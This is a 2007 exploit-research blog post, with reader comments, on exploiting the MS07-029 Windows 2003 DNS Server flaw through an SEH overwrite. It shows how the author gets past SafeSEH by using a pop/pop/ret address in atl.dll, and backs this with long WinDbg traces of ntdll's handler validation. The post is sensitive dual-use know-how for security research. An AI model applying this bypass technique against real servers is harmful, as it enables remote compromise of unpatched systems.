Software Vulnerability Exploitation Blog

Sunday, July 01, 2007

MS07-029 Series - Part 2: Exploiting the DNS Server holes on Windows 2003 Server SP1/SP2 - SafeSEH issue

This is the second post on MS07-029 series. In this post, I describe the exploitation technique used in Windows 2003 Server SP1/SP2 environments. We have to face with /SafeSEH and hardware-enforced DEP, no /GS in this game because we overwrite the SEH – not the return address on the stack, but I talk about only SafeSEH in this post. For hardware-enforced DEP, I will describe later.

I start with writing 0x41414141 to the address of exception handler:

This exception may be expected and handled.
eax=001720b6 ebx=013a0000 ecx=00008042 edx=013a0000 esi=00000003 edi=001720b3
eip=01015389 esp=0139f6ac ebp=0139f6b0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
dns!extractQuotedChar+0x3b:
01015389 880a mov byte ptr [edx],cl ds:0023:013a0000=??

0:007> g
(768.7ec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c82eec6 esi=00000000 edi=00000000
eip=41414141 esp=0139f2e4 ebp=0139f304 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
41414141 ?? ???

0:007> dd esp
0139f2e4 7c82eeb2 0139f3c4 0139fd50 0139f3e0
0139f2f4 0139f3a0 0139fd50 7c82eec6 0139fd50

0:007> dd 0139fd50
0139fd50 424206eb 41414141 fff996e9 424242ff
0139fd60 42424242 42424242 42424242 42424242

Everything seems OK – just change 0x41414141 to the address of instruction pop/pop/ret, our shellcode will be executed. But when I change 0x41414141 to 0x71c0291d – pop/pop/ret on ws2_32.dll, our shellcode does not execute !!?

The answer of this question is that ws2_32.dll is complied with /SafeSEH option. I confirm this by use 0x76a81a60, pop/pop/ret in atl.dll

(6fc.d8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00171675 ebx=013a0000 ecx=00008042 edx=013a0000 esi=00000003 edi=00171672

eip=01015389 esp=0139f6ac ebp=0139f6b0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

dns!extractQuotedChar+0x3b:
01015389 880a mov byte ptr [edx],cl ds:0023:013a0000=??

0:007> g
(6fc.d8): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=7c82eeb2 ecx=76a81a60 edx=7c82eec6 esi=00000000 edi=00000000
eip=0139f6f3 esp=0139f2f0 ebp=0139f3c4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

0139f6f3 cc int 3

The reason why atl.dll can be used in this exploit is that atl.dll is not compiled with /SafeSEH (information from metasploit exploit), so when we use the address in this dll, it will be passed on any check.

Now, I will investigate more detail how the address in atl.dll can pass the check while ws2_32.dll cannot. This is the path of execution of atl.dll

dns!extractQuotedChar+0x3b:
01015389 880a mov byte ptr [edx],cl ds:0023:013a0000=??

ntdll!KiUserExceptionDispatcher+0x4:
7c82ecbc 8b1c24 mov ebx,dword ptr [esp] ss:0023:0139f3bc=0139f3c4

ntdll!KiUserExceptionDispatcher+0x9:
7c82ecc1 e87653feff call ntdll!RtlDispatchException (7c81403c)

ntdll!RtlDispatchException+0x73:
7c8140ae e80bffffff call ntdll!RtlIsValidHandler (7c813fbe)
eax=0139f301

ntdll!RtlDispatchException+0x78:
7c8140b3 84c0 test al,al
eax=0139f301

ntdll!RtlDispatchException+0x7a:
7c8140b5 0f847e930500 je ntdll!RtlDispatchException+0x110 (7c86d439)

ntdll!RtlDispatchException+0x80:
7c8140bb ff7304 push dword ptr [ebx+4] ds:0023:0139fd54=76a81a60

ntdll!RtlDispatchException+0x8c:
7c8140c7 e885ad0100 call ntdll!RtlpExecuteHandlerForException (7c82ee51)
...
0139f6f3 cc int 3

And this is the path of ws2_32.dll

dns!extractQuotedChar+0x3b:
01015389 880a mov byte ptr [edx],cl ds:0023:013a0000=??

ntdll!KiUserExceptionDispatcher+0x4:
7c82ecbc 8b1c24 mov ebx,dword ptr [esp] ss:0023:0139f3bc=0139f3c4

ntdll!KiUserExceptionDispatcher+0x9:
7c82ecc1 e87653feff call ntdll!RtlDispatchException (7c81403c)

ntdll!RtlDispatchException+0x73:
7c8140ae e80bffffff call ntdll!RtlIsValidHandler (7c813fbe)
eax=00005000

ntdll!RtlDispatchException+0x78:
7c8140b3 84c0 test al,al
eax=00005000

ntdll!RtlDispatchException+0x7a:
7c8140b5 0f847e930500 je ntdll!RtlDispatchException+0x110 (7c86d439)


ntdll!RtlDispatchException+0x110:
7c86d439 834e0408 or dword ptr [esi+4],8 ds:0023:0139f3c8=00000000


dns!extractQuotedChar+0x3b:
01015389 880a mov byte ptr [edx],cl ds:0023:013a0000=??

The difference between 2 dlls is at the check after call ntdll!RtlIsvalidHandler. It checks the return value from ntdll!RtlIsValidHandler. The return value of atl.dll is 0x01, so it will not jump to ntdll!RtlDispatchException + 0x110 and finally execute ntdll!RtlpExecuteHandlerForException.

Now, I will investigate ntdll!RtlIsValidHandler. I want to find why atl.dll return 0x01 and ws2_32.dll return 0x00. This is the path for atl.dll:


ntdll!RtlIsValidHandler+0x1f:
7c813fdd e842150000
call ntdll!RtlLookupFunctionTable (7c815524)
eax=00000000


ntdll!RtlIsValidHandler+0x24:

7c813fe2 33db xor ebx,ebx

eax=00000000 ebx=0000000


ntdll!RtlIsValidHandler+0x26:

7c813fe4 3bc3 cmp eax,ebx

eax=00000000 ebx=00000000


ntdll!RtlIsValidHandler+0x2b:

7c813fe9 0f84222bffff je ntdll!RtlIsValidHandler+0x6f (7c806b11)


ntdll!RtlIsValidHandler+0x6f:

7c806b11 8d45e8 lea eax,[ebp-18h]

The return value of atl.dll from ntdll!RtlLookupFunctionTable is 0x00 and it will jump to ntdll!RtlIsValidHandler + 0x6f. The return value of ws2_32.dll is not 0x00:


ntdll!RtlIsValidHandler+0x1f:
7c813fdd e842150000 call ntdll!RtlLookupFunctionTable (7c815524)
eax=71c094e0

It is not jump to ntdll!RtlIsValidHandler + 0x6f and call ntdll!RtlInvalidHandlerDetected

ntdll!RtlIsValidHandler+0x2b:
7c813fe9 0f84222bffff je ntdll!RtlIsValidHandler+0x6f (7c806b11)


ntdll!RtlIsValidHandler+0x2d:

7c813fef 8b7df8 mov edi,dword ptr [ebp-8] ss:0023:0139f330=00000001


ntdll!RtlIsValidHandler+0xe2:

7c814108 e8e8910500 call ntdll!RtlInvalidHandlerDetected (7c86d2f5)

Now, I know more details about the difference between atl.dll and ws2_32.dll. The function ntdll!RtlIsValidHandler return true (0x01) for atl.dll and false (0x00) for ws2_32.dll. The key internal function in ntdll!RtlIsvalidHandler is ntdll!RtlLookupFunctionTable.

The function ntdll!RtlLookupFunctionTable return 0x00 for atl.dll and non-zero for ws2_32.dll. Now, I will look for the difference between atl.dll and ws2_32.dll in ntdll!RtlLookupFunctionTable. After take a lot of time, I found the interesting thing in ws2_32.dll:


ntdll!RtlLookupFunctionTable+0x8:
7c81552c 8365fc00 and dword ptr [ebp-4],0

ntdll!RtlLookupFunctionTable+0xc6:
7c81562e 8d45fc lea eax,[ebp-4]

0:007> dd ebp - 4
0139f2e0 00000000 0139f338 7c813fe2 71c0291d

ntdll!RtlLookupFunctionTable+0xc9:
7c815631 50 push eax

ntdll!RtlLookupFunctionTable+0xca:
7c815632 56 push esi

ntdll!RtlLookupFunctionTable+0xcb:
7c815633 e87cffffff call ntdll!RtlCaptureImageExceptionValues (7c8155b4)
0:007> p
ntdll!RtlLookupFunctionTable+0xd0:
7c815638 e956ffffff jmp ntdll!RtlLookupFunctionTable+0xd5 (7c815593)
0:007> dd ebp - 4
0139f2e0 71c094e0 0139f338 7c813fe2 71c0291d

ntdll!RtlLookupFunctionTable+0xed:
7c8155a6 8b45fc mov eax,dword ptr [ebp-4] ss:0023:0139f2e0=71c094e0

ntdll!RtlLookupFunctionTable+0xf3:
7c8155ac c20c00 ret 0Ch

After call ntdll!RtlCaptureImageExceptionValues, the value 0x00 stored at [ebp – 4] is changed. This condition occurs in the image that complied with /SafeSEH option such as ws2_32.dll. For atl.dll, this function is not change the value at [ebp – 4]:

ntdll!RtlLookupFunctionTable+0xed:
7c8155a6 8b45fc mov eax,dword ptr [ebp-4] ss:0023:0139f2e0=00000000

4 Comments:

  • "The reason why atl.dll can be used in this exploit is that atl.dll is not compiled with /SafeSEH (information from metasploit exploit), so when we use the address in this dll, it will be passed on any check."


    Actually this is not true, atl.dll is compiled with /SafeSEH. So why does it work ? Because it was compiled with an old version of /SafeSEH and 2003 SP1 introduced a changed in the handler that simply breaks most dlls compiled with the old version. Like ATL.dll has not changed since 2003 SP0, the /SafeSEH structure is the old one and the new handler fails to correctly identify it.

    This same technique can be used with some other software compiled with and old version of safeseh. When you install them on Windows 2003 SP1/SP2, you can most of the time bypass safeseh.

    Oh, btw the problem is due to 0x40 in the IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG entry in the pe header, that should helps you find why you can bypass /SafeSEH ;-)

    By Blogger toto, at July 05, 2007 3:52 PM  

  • Thanks a lot toto :)

    I had scan the loaded DLL of dns.exe with OllySSEH and see that ATL.dll is SafeSEH on. However, its verion is 3.x while the others are newer.

    By Blogger Trirat Puttaraksa, at July 05, 2007 5:31 PM  

  • Hi


    Anyway to get the information weather the moudle is compiled with old or new /safeseh?

    By Anonymous Anonymous, at February 17, 2008 12:45 AM  

  • "Anyway to get the information weather the moudle is compiled with old or new /safeseh?"

    Use OllySSEH plugin of Olly Debugger to scan it :)

    By Blogger Trirat Puttaraksa, at February 20, 2008 11:57 AM  

Post a Comment

<< Home